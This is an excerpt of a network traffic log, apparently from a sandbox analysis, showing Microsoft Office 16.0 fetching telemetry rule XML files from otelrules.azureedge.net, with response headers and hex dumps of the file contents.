2024-11-20 00:18:44 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:44 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:44 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 85bacdce-f01e-003f-758c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001844Z-185f5d8b95cx9g8lhC1NYCtgvc00000001wg000000004mgg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:44 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:44 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:44 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:44 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 270c2d5d-601e-00ab-2f8c-3a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001844Z-185f5d8b95c95vpshC1NYC759c00000009b000000000w4ee x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:44 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:44 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:44 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:44 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001844Z-185f5d8b95cmd8vfhC1NYC0g40000000058g00000000p3zw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:44 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:45 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:45 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:45 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 073925de-a01e-0032-2d8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001845Z-1777c6cb754dqf99hC1TEB5nps00000008k000000000rz7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:45 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:45 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:45 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:45 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001845Z-1777c6cb754g9zd5hC1TEBfvpw00000008ug00000000t5zz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:45 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:45 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:45 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:45 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d5dea27c-d01e-00ad-3c8c-3ae942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001845Z-185f5d8b95cf7qddhC1NYC66an00000009g000000000evws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:45 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:45 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:45 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:45 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 1afac609-801e-00a3-2b8c-3a7cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001845Z-r1d97b9957789nh9hC1TEBxha80000000890000000004y2p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:45 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:46 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:46 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:46 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: bfe6eb71-201e-006e-168c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001846Z-185f5d8b95c96jn4hC1NYCbgp800000009d000000000mbcw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:46 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:46 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:46 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:46 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001846Z-185f5d8b95c4vwv8hC1NYCy4v400000009f000000000vsfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:46 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:46 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:46 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:46 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 4ac405f8-001e-002b-168c-3a99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001846Z-r1d97b99577hc74hhC1TEBvbns00000007xg00000000c911 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:46 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:46 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 00:18:46 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 00:18:46 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 873207a6-301e-001f-2d8c-3aaa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T001846Z-r1d97b99577jlrkbhC1TEBq8d00000000820000000002n1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 00:18:46 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 00:18:46 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
